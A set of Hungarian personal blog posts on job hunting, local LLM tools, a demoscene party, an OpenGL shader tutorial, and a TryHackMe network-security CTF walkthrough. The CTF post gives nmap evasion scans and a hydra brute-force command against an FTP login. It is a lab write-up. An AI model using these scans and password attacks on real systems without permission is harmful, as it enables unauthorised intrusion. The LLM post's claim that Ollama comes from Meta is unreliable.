A Profession-ön keresztül három állásra jelentkeztem. Ennek az volt az előnye, hogy visszajeleztek nekem, ha elolvasták az önéletrajzomat. Erre általában a jelentkezés benyújtása után a 10. naptári nappal került sor. (Egy esetben egyáltalán nem nézték meg.)

Nem tudom, mi lehet az oka, hogy semmihez nem értek, de az egyik lehetséges okról hallgattam egy podcastot az IT területén tapasztalható életkori diszkriminációról. Az ott hallottak nagyon elkeserítettek. Főleg, mert a két résztvevő rögtön azzal kezdte, hogy lehúzta az idősebb kollégákat, mondván, nem is olyan meglepő, hogy nem akarják őket alkalmazni, mert ők már nem akarnak új dolgokat tanulni, nincs bennük lendület, csak a kényelmes, biztos állásra vágynak. Nem akarnak túlórázni, nem akarják feláldozni magukat a cégért, mint a fiatalok.

Utána a fejvadász átment védekező állásba. Ő ugyanis nem tehet semmit, ha a cég eleve fiatalokat kér, akkor ő kénytelen fiatalokat szállítani. Ezzel a saját felelősségét hárította is. Igaz, utána némileg ellentmondva arról mesélt, hogy mégis "átnyomott" egy idősebb embert a rendszeren. Végül megemlítettek egy "példaértékű" negyvenest, aki egész nap ott ül a gép előtt, hangosan veri a billentyűzetet, még ebédelni sem megy el a többiekkel, csak a kódsorral törődik. (Talán csak retteg, hogy kirúghatják és túlkompenzál.)

A podcast említett megoldást is. Tanulni kell, képezni magadat, bla bla bla. Kérdem én, ha egy jelöltet rögtön az életkor alapján elutasítanak, akkor nem fogják megnézni, mennyit tanult. Esélye sincs megmutatni a tudását. A YouTube megmondóemberek az otthoni labort, blogot szokták megemlíteni. Nekem ezek is vannak, de nem látom, hogy akkora előnyük lenne.

Arról is beszéltek, hogy vannak, akik elrejtik a korukat. Leszednek minden dátumot a Linkedin-ről, maszkolják az önéletrajzot, hogy legalább interjúra behívják őket. Én ezzel nem akarok élni. Először is, az interjún úgyis kiderül a trükk, másodrészt nem hiszem, hogy bocsánatot kellene kérnem a korom miatt. Miért vágjak jó pofát az interjún olyanoknak, akik a születési évemből következtetik ki a képességeimet? Inkább be se hívjanak.

Aminek viszont tényleg van jelentősége, az a kapcsolati háló. Egy ismerősön keresztül sikerült kapcsolatba kerülni egy másik kutatócsoporttal, akik epigenetikával foglalkoznak, nyertek pályázatot, és szeretnének bioinformatikust felvenni. Megbeszéltük, hogy kapok egy adatsort, amivel játszhatok, miközben azt is láthatják, hogyan dolgozom. A próba egy-két zökkenőtől eltekintve szerintem jól ment. Mikor a szerződés részleteiről kezdtünk beszélni, akkor tudtam meg, hogy a pályázatba fiatal kutatót írtak, aki 7 éven belül szerezte meg a PhD-ját. Ha 17 év lenne a határ, abba még beleférnék. Még vizsgálják, hogy milyen lehetőségek vannak. Talán még szerencsém is lesz.

Úgy tűnik, a másik tényező, ami álláshoz juttatja az embert, a szerencse. Nem is veszek több kaparós sorsjegyet, az álláskeresés izgalmasabb szerencsejáték.

Szólj hozzá!

Címkék: életmód

Készítsünk gyagyaGPT-t

2025.12.09. 15:30 Travis.CG

Már annyi nagy nyelvi modell van körülöttünk, mint szúnyog a nyári estéken, Korábban nem volt nagy véleményem a technológiáról, mert nem láttam, hogy mi újat tudna nyújtani nekem. Igazából most sem vagyok rácuppanva, de mondjuk úgy, nyitottabb lettem, és kíváncsi lettem, milyen lehetőségek vannak benne. (Vibe coding-ot meg a hasonló hülyeségeket most hagyjuk.)

 Amire én kíváncsi vagyok, mit tudok kezdeni egy LLM-el, amit nem nagy cégek akarnak rámtukmálni drága előfizetésért, és olyan szolgáltatásokkal karöltve, amire nincs szükségem. Egy lokális modellre van szükségem, amit én irányítok.

Ez nem is olyan bonyolult, van rá számtalan módszer. Nyilván egy lokális verzió nem fog versenyre kelni egy kereskedelmi verzióval, de nem is ez a lényeg, hanem a maximális kontroll.

LM Studio

A legegyszerűbb választás az LM Studio. Egy grafikus felhasználói felülettel ellátott program. Fut Windows-on, Linuxon, még az én öreg Slackware-emen is. Klikkeléssel letölti a modellt is (gpt-oss-20b), amit használni akarunk, és már meg is kérdezhetjük, milyen kövér az asszony.

Előnye, hogy könnyen tudunk fájlokat hozzáadni (akár képet is), a szöveg gazdagon formázható, amitől szép lesz a válasz is.

lmstudio.png

Ollama

Az Ollama egy parancssoros nagy nyelvi modell futtató környezet a Meta-tól, de nyílt forráskódú. Megy Linuxon, Mac-en és Windows-on is, tudja használni a GPU-t is. Először el kell indítani a szolgáltatást:

ollama start

Ezután le kell tölteni a modellt. Van lehetőség felhő alapú futtatásra is, de most a lokális elhetőségeket akarom bemutatni.

ollama pull gemma3:270m

Ez az egyik legkisebb modellt fogja letölteni, ami kb. 300Mb tárhelyet foglal. Utána már használhatjuk is.

ollama run gemma3:270m

Megjelenik a prompt, mi meg írhatunk. Ez egy nagyon kis modell, viszont gyorsan generál rövid válaszokat. Például ha megkérdezem tőle, hogy ki fedezte fel a DNS-t, akkor azt válaszolja, hogy Martin Griffith, aki a Berkley egyetemen dolgozott. James Watson pedig a Watson-Watson vakcina kifejlesztője. Rendkívül tanúságos.

llama.cpp

Mint már sejthetitek, ez a legmelósabb. Teljesen nyílt forráskódú, nekünk kell lefordítani. Csak CPU-n is elzakatol, de ha van Cuda, akkor GPU-n futó változatot is fordíthatunk. Először letöltjük GitHub-ról:

git clone https://github.com/ggml-org/llama.cpp
cd llama.cpp
mkdir build
cd build

Utána fordíthatjuk a programot. Ha van 10 felesleges processzormagunk, akkor a -j 10 opcióval gyorsíthatjuk a folyamatot.

cmake -B build -DGGML_CUDA=ON ..
cmake --build build --config Release -j 10

 A program a GGUF formátumú modelleket tudja használni, de nincs semmi ellenőrzés benne, ezért előfordulhat, hogy rossz modell esetén a szokásosnál is hülyébb válaszokat generál. Például én először a stabilityAI stable-code-3b modellel próbálkoztam, és nagyon furcsán viselkedett a program. Elkezdett írni egy választ, majd végtelen ciklusban ismételgette az utolsó mondatot. De lássuk, hogyan is lehet használni:

llama.cpp -hf ggml-org/gemma-3-1b-it-GGUF

Letölti a HuggingFace-ről a kívánt modellt. A fájl Linux esetén a .cache/llama.cpp/ könyvtárban lesz. Ha használni akarjuk, akkor -m opcióval tehetjük meg.

llama.cpp -m ggml-org_gemma-3-1b-it-GGUF_gemma-3-1b-it-Q4_K_M.gguf --offline

Igen, a fájl neve kicsit megváltozik.

A fent bemutatott három módszer mindegyikével képesek leszünk saját környezetben futtatni nagy nyelvi modelleket. Az egyetlen limitáció a hardver vagy az internet sávszélességünk, amikor letöltjük a modellt. Utána ha felfordul a CloudFlare, akkor is tudunk hallucinációkon röhögni.

Szólj hozzá!

Címkék: machine learning

Experience 2025

2025.12.03. 07:53 Travis.CG

Idén is összegyűltek a demóra éhes emberek, hogy együtt megnézzék az év legjobb alkotásait. Idén sem hiányozhatott a könnyed hangvételű verseny sem, ahol többségében hazai scenerek megvillantják tudásukat. Jellemzően nem itt szokták elpuffogtatni a legmenőbb demókat, de a közönség azért jót szokott szórakozni. Lássuk, mit kaptak, akik ellátogattak a rendezvényre:

Week after the ninth moon

Netro tavalyhoz hasonlóan most is a saját életéből merített, amikor elkészítette ezt a demót. Egy csillaggyermek születését láthattuk azokkal a jelenetekkel, amelyek a 2001 Űrodüsszeiából kimaradtak.

X marks the...

Ez egy 8k intró volt sok szép objektum morpholással, textúra animációval. Nyaki engine újabb funkciókkal bővült.

Sk8

Egy másik 8k intró gördeszkázó lábakról. A mozgás, a trükkök nagyon igényesek voltak.

A kocka

Tomcat szokás szerint 256byte intróval jelentkezett. Nagyon szép shadelt kocka forgott.

SUGi

Pasy és Teo egy klasszikus stílusú demót hozott. Az alacsony felbontás nekem zavaró volt, de gondolom így könnyebb volt a valós idejű tükröződéseket megvalósítani.

Teletextperience

Kaszi megmutatta humoros oldalát, ami nekem nagy meglepetés volt. Az utóbbi idők egyik legkreatívabb greetingjét láthattuk. Egy ilyen demó nyilvános vetítésével könnyen kiszűrhető nagy tömegből, ki a scener, mert csak ők fognak nevetni a belsős poénokon. Szóval nekem nagyon tetszett, a többiek meg így jártak.

Interstellar phenomenon

Ez egy DOS-os demó, de jeleneteket elnézve a legtöbbje videóként futott. A demó szerint földönkívüli életforma akár létezik, akár nem, csak depresszióssá tesz minket, embereket. (Számtalan sikerkönyv szerzőjét meg gazdaggá.)

Egy szaftos pörkölt

Néha nem kell bonyolult dolog a boldogsághoz. Elég hozzá kockákra textúrázott hús és szaft, némi sorozatban gyártott nokedlivel, aminek minden darabja pontosan ugyan olyan. A menzán nem lenne probléma az adagolással. Ha pedig  a villa is beletörik, az nem a szakács hibája.

demojoe the computer maker

Az évek során Demojoe sok kalandját megismerhettük. Demojoe ebben a 4k intróban nagyon megjárta. Nem elég, hogy kvantum-számítógépet készített, még a létezése is határozatlan lett. Mennyivel jobban járt volna egy Raspberry Pi-al...

Jane Goodall Tribute

Ez a plus4 demó Jane Goodall-nak állít emléket. Nagyon szép gesztus, szeretem, ha demók híres emberekről szólnak.

Radiosity2

Musk radiosity engine-t írt, aminek ez a szép procedurális grafika lett az eredménye. Az alkotás keresztplatformos, Linux alatt is élvezhető.

Szólj hozzá!

Címkék: demoscene

Net Sec Challenge CTF

2025.11.16. 12:10 Travis.CG

Ez egy jó kis összefoglaló feladat, ha az ember azt akarja tesztelni, mennyire tud jól szervert scannelni. Az első kérdés megválaszolására csak alap szkennelés kell. Mivel csak a 10 ezer alatti portokra kíváncsiak, ezért elég ez:

nmap -p 0-10000 $IP

A második kérdés, hogy melyik 10000 feletti port van nyitva? Abból kiindulva, hogy valószínű a nyitott port közelebb van a 10000-hez, mint a 65535-höz, egy ilyen scannel lehet megtalálni:

nmap -Pn -sS -p10000-11000 $IP

A -Pn -sS kapcsolók most csak arra szolgál, hogy gyorsan lefusson a scan. A következő kérdés, hogy mennyi TCP port van nyitva? Itt a biztonság kedvéért minden porton lefuttatjuk a keresést, ez jó sokáig fog tartani. Az -sT csak TCP protokollal próbálkozik nézi.

nmap -Pn -sT -p- $IP

Mi a HTTP fejlécben a flag? Ez nagyon egyszerű, a böngészőben előhívjuk a developer módot, és Firefox esetén a Network oldalon kilistázza az összes fejlécet. Keresni kell valamit, amit THM-el kezdődik.

Mi az SSH fejlécben a flag? Az -sV opció kilistázza a szolgáltatás verziószámát. A port pedig a 22-es.

nmap -p 22 -sV $IP

Mi az FTP szerver verziószáma, ami a nem szokványos porton van? A nyitott portokat a korábbi keresések során azonosítottuk, annyit kell tenni, hogy ismét lefuttatjuk a keresést a -sV opcióval. Ez még egyszer nem írom le, csak a port szám más.

Az FTP szerverhez kapunk két felhasználói nevet. A feladat, hogy megnézzük, milyen fájlokat tárolnak. Ehhez a hydra kell. A felhasználói neveket mentsük el egy users.txt fájlba, és akkor a következő parancsot használhatjuk (feltéve, hogy Kali linuxot használunk, és ott a jelszófájl az /usr/share/wordlists-ben van).

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 10021 $IP ftp

Az utolsó feladat, hogy úgy scanneljük a szervert, hogy a tűzfal ne vegye észre. A detektálást a 8080-as porton nézhetjük a böngészőből. Ez a feladat nagyon megizzasztott, mert túl bonyolultan gondolkodtam. Először bedobtam mindent, amit csak lehet:

nmap -T0 -Pn -sN -ff -vv $IP

Az -ff fragmentálja a küldendő csomagokat, hogy a tűzfal nehezebben vegye észre. A -sN egy null scan, ami azt jelenti, hogy a TCP fejlécben semmilyen bitet nem állít be, a -T0 pedig hosszú időt hagy két kérés között, így van rá esély, hogy elsikkad a keresésünk a hálózati "zajban". Persze nem működött. Akkor jött a

nmap -T0 -Pn -sX -ff -vv $IP

Ez egy másik fajta scan, amit beállít néhány TCP flaget. Ezzel is lebuktam. Ráadásul a -T0 miatt minden scan kegyetlen hosszú lett. Miután ez is lefutott eredménytelenül, tovább fragmentáltam a csomagokat, meg további ostoba opciókat adtam meg, amiről azt gondoltam, hogy jók lesznek. A keresések egyre rosszabb eredményeket adtak, mert már annyira óvatosan scanneltem, hogy a szerver válasza alapján nem lehetett eldönteni, melyik port van nyitva. Végül kiderült, hogy csak a null scan-t kellett volna használnom:

nmap -sN $IP

Végül is benne volt a korábban megadott opciók között...

Szólj hozzá!

Címkék: biztonság

Black Cell Training Day

2025.11.09. 11:46 Travis.CG

Elmentem egy ingyenes workshopra, amit a Black Cell szervezett. A regisztráció szerintem teljesen felesleges volt, annak valószínűleg az adatgyűjtés lehetett a lényege, mert még egy megerősítő email-t sem küldtek. Aggódtam is, hogy érkezés után majd nem engednek be. A félelmem alaptalan volt, belépés után kértek egy nevet, amit egy telefonba bepötyögtek. Utána már mehettem is egy nagy terembe.

A terem akkusztikája rettenetes volt, a projektor képét alig lehetett látni, elolvasni lehetetlen volt. Márpedig figyelni kellett, mert, atya világ!, az előadó annyi információt zúdítottak ránk, mint Mr. X. Képtelenség volt jegyzetelni. Ez nem az EC-Council harmatgyenge, hiteltelen előadója volt, rajta látszott, nem csak érti, hanem műveli is a területet. Számtalan sztorit is hallottunk tőle, amitől úgy érezte az ember, hogy az előadás, nem egy felolvasott whitepaper, vagy kiszemezgetett összefoglaló, hanem a napi meló része. A hallgatóság is hozzászólhatott, és nagyon kevés alkalom volt, hogy az előadó azt mondta, hogy erről nem hallott.

Az előadást tudtam követni, de azért éreztem, hogy nekem ez még nem megy olyan folyékonyan, mint a többieknek. Többször volt, hogy azt hittem, még soha nem hallottam az adott technikáról, aztán két perccel később beugrott, hogy TryHackMe-n csináltam egy egész modult belőle. Ez a különbség, ha az ember munka mellett, vagy munkaként űzi ezt a mesterséget.

Azért volt a profik között is olyan, akiknek meggyűlt a baja az információmennyiséggel. Egy fickó a végén azt mondta nekem, hogy most hazamegy, és utánaolvas ennek az információ mennyiségnek, mert az elmondottak egy jó része vadi új volt neki.

Az ebédszünetben összeismerkedtem egy etikus hackerrel. Mivel ő jellemzően támadni szokott, a detektálási metodikák nem vágtak a profiljába. Kérdeztem, hogyan került erre a pályára? Azt mondta, hogy ő először üzemeltetéssel foglalkozott nagyon sokáig, csak az utóbbi egy évben nyergelt át a vörös csapatba. Nincs semmi szakirányú végzettsége, sem papírja, elmondása szerint az angoltudása is passzív, csak a Hack The Box-ot nyomta ezerrel. Először csak a leírások alapján törte a gépeket, majd egyre inkább elhagyta a segédleteket, és a végén már ment neki rutinból a teljes folyamat.

Megkérdeztem tőle, mi van, ha az ember nem talál semmit egy sérülékenység vizsgálat alkalmával? Azt mondta, ő még olyan nem látott. Mindig van valami rés. A beszélgetés mindenesetre visszaadta a reményt, hogy esetleg nekem is van esélyem betörni a piacra.

Szerintem voltak kívülállók is, mert egy fura fazon olyan kérdéseket tett fel, hogy "mi a legjobb laptop", meg "beszéljen a Pegasus-ról". Az előadó meg is kérdezte, hogy újságíró-e. Ilyen noob kérdéseket YouTube komment szekciókban tesznek fel. Ettől függetlenül nagyon hasznos volt, én nem bántam meg, hogy elmentem.

Szólj hozzá!

Címkék: biztonság

Munkahely: viszlát-viszlát

2025.11.01. 15:25 Travis.CG

Már többször is utaltam rá, hogy az akadémiai szféra kezd szűkülni. Azt gondoltam, van még pár évem, mielőtt váltani kellene, de a dolgok nagyon felgyorsultak.

Technikailag két munkahelyem van, a másodállásomból november 1-el elküldtek. Már szeptember végén mondták, hogy nem lesz maradásom, amit tudomásul is vettem. Éreztem én is, hogy egyre kevesebb a lehetőség és nem is akartam maradni.

Egy hónappal később oda is tolták az orrom alá a papírt, hogy közös megegyezéssel lépjek le. Mivel határozatlan idejű volt a szerződésem, úgy gondoltam, jár nekem a végkielégítés, ezért azt mondtam, hogy nem írom alá, rúgjanak ki. A máskor oly lassú bürokrácia nagyon felgyorsult, de nem úgy, ahogy számítottam rá. Másnap bejött a főnököm, pedig nem szokott, és közölte, hogy nem tudja a helyemre felvenni a PhD hallgatóját, amíg el nem távolítanak. Ha viszont ide nem tudja felvenni, akkor a főállásomra fogja, és onnan rúgnak ki. A helyzetet árnyalja, hogy a PhD hallgató szíriai, jogviszony nélkül kitoloncolják. Ez van, ha túl sok helyen ugyan az a főnököm. Hogy tompítsa a zsarolás élét, azt is mondta, hogy el tudja intézni, hogy továbbra is bejárhassak. Hiába, az ingyenmunka az mindenkinek jól jönne.

Bioinformatika állások viszont alig vannak Magyarországon. Utoljára nyáron láttam, hogy kerestek valakit, Szegeden. Az intézeti csoportoknak alig van pénze, pályázati lehetőségek szinte nincsenek. A főállásom majd nyáron fog megszűnni, mert addigra apadnak ki az ottani források. Utána majd izgalmasabb lesz az élet.

Nem tudom, hol fogok kikötni, nem tudom, mit fogok csinálni, de úgy gondolom, nagy változások lesznek, ami a blogra is kihatással lesz. Még azt is elképzelhetőnek tartom, hogy meg fognak szűnni a bioinformatikai írások. Valószínűleg lesznek még ilyen jellegű munkáim, mert ígéretek vannak (ígéretek mindig vannak), de nem biztos, hogy erről írok posztokat.

Alapvetően nem vagyok elkeseredve. Nem fognak hiányozni az előadáson telefonozó hallgatók, a rosszul megtervezett kísérletek, a görcsös publikálási kényszer, a kutatók kedvenc génjei, a közbeszerzés, a publikációs vállalások, a lecseszés, hogy miért nem teljesültek a vállalások, a tudománymetriai táblázatok, a Wilcoxon-tesztek, a PhD hallgatók, akik úgy mutatják be a védésen az ábráimat, mintha ők csinálták volna a teljes in-silico elemzést, az elküldött eredmények utáni nagy kussok, az MDPI spamek a levelek között. Ezeknek vége:

Most még optimista vagyok és lehetőségeket látok. Lehetőséget, hogy valami újat és érdekeset csináljak. Már csak az a kérdés, hogy mások is látják-e bennem a lehetőséget.

Szólj hozzá!

Címkék: életmód bioinformatika

Point sprite-ok és geometry shaderek

2025.10.26. 18:39 Travis.CG

Igértem, hogy írom a bugról, amit Jimmy segített megoldani. A hiba a point sprite-okkal volt.

A point sprite a legegyszerűbb a megjeleníthető alakzatok közül, mert egy fix méretű folt a képernyőn, de nagyon sok lehetőséget rejt magában, főleg ha shaderekkel megbolondítjuk.

Az alapja egyszerű, kell egy vertex array, amiben egyedül a pontok koordinátáit kell elhelyezni. Természetesen ha egy részecske rendszert akarunk, akkor további attribútumokat is pakolhatunk a koordináták mellé, de most ezzel nem foglalkozom.

Először lehetővé kell tennünk, hogy a shaderünk teljes egészében kezelhesse a point sprite megjelenését:

glEnable(GL_PROGRAM_POINT_SIZE);

Ezután fel kell tölteni egy puffert koordinátákkal. Ez teljesen olyan, mint amit bármelyik más OpenGL programban is találunk:

glGenVertexArrays(1, &vao);
glBindVertexArray(vao);

glGenBuffers(1, buffer);

glBindBuffer(GL_ARRAY_BUFFER, &buffer);
glBufferData(GL_ARRAY_BUFFER, sizeof(GLfloat) * 3 * count, &pos[0], GL_DYNAMIC_DRAW);
glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, 0);
glEnableVertexAttribArray(0);

glBindVertexArray(0);

A megjelenítés is nagyon egyszerű:

glUseProgram(shader);
glBindVertexArray(vao);
glDrawArrays(GL_POINTS, 0, count);

De mi legyen a shader-ben? Itt kezdődnek a lehetőségek. A tutorialok ki is merülnek abban, hogy leírják a vertex shadert és a fragment shadert. De nagyon kevés szó esik a geometry shaderről, pedig azzal lehet csak igazán megbolondítani a pontjainkat.

A vertex shader nagyon egyszerű:

#version 450

layout (location = 1) in vec3 vertex;

void main(){
  gl_Position = vec4(vertex, 1.0);
}

A legtöbb tutorial ide helyezi a point sprite méretét meghatározó változó értékadását. A változó neve gl_PointSize. Ez pixelben meghatározza, hogy mekkora legyen a képernyőn a sprite-unk. Ha nincs geometry shaderünk, továbbra is itt kell beállítani.

De miért jó a geometry shader? Egyáltalán minek kell? A geometry shaderrel megváltoztathatjuk a pontunkat. Például több pontot csinálunk belőle! Esetleg háromszöggé változtatjuk azt. Különböző méretű pontokat készítünk.

#version 450

layout (points) in;
layout (points, max_vertices = 1) out;

void main() {
   gl_Position = gl_in[0].gl_Position;
   gl_PointSize = 6.0;
   EmitVertex();
   EndPrimitive();
}

A layout in és out határozza meg, mi legyen a be és kilépő geometria. A fenti példában ezek pontok, de semmi nem akadályozza meg, hogy kilépésnél vonal, háromszög vagy négyszög legyen. Ha több geometriát is akarunk kimenetnek, akkor a max_vertices értéket ennek megfelelően emelni kell. A főmenüben kell definiálni a pont tulajdonságait. Először a koordinátáit a gl_Position-al, majd a méretét. Ez nem volt nekem tiszta. Bár utólag logikus, hiszen én több pontot is készíthetek, azok nem fogják "örökölni" a tulajdonságokat a vertex shaderből, hanem nekem kell beállítanom. A két végső utasítás az EmitVertex() és az EndPrimitive(). Pontok esetén primitívenként egy vertexet tudunk létrehozni, háromszögek esetén háromszor annyi EmitVertex utasítás kell, mint EndPrimitive.

Végezetül jöjjön a fragment shader, ahol a pont megjelenését tudjuk befolyásolni. A legunalmasabb fragment shader, amit csak létezik a következő:

#version 450

layout (location = 0) out vec4 FragColor;

void main(void){
   FragColor = vec4(1.0, 1.0, 1.0, 1.0);
}

Egy fehér négyzetet fogunk látni, olyan méretben, ahogy a gl_PointSize-al megadtuk. A gl_PointCoord viszont ad nekünk pozíciót a ponton belül. Ezt használhatjuk például textúrázásra, ahogy a legtöbb internetes példa említeni szokta. Ha nem akarunk textúrázni, akkor is hasznunkra lehet, ha a discard-ot használjuk.

#version 450

layout (location = 0) out vec4 FragColor;

void main(void){
   float d = distance(gl_PointCoord, vec2(0.5));
   if(d > 0.5) discard;
   else FragColor = vec4(1.0, 1.0, 1.0, 1.0);
}

Az eredmény szép kör alakú pontok lesznek. Kísérletezzünk bátran egyéb módszerekkel!

Szólj hozzá!

Címkék: programozás opengl

süti beállítások módosítása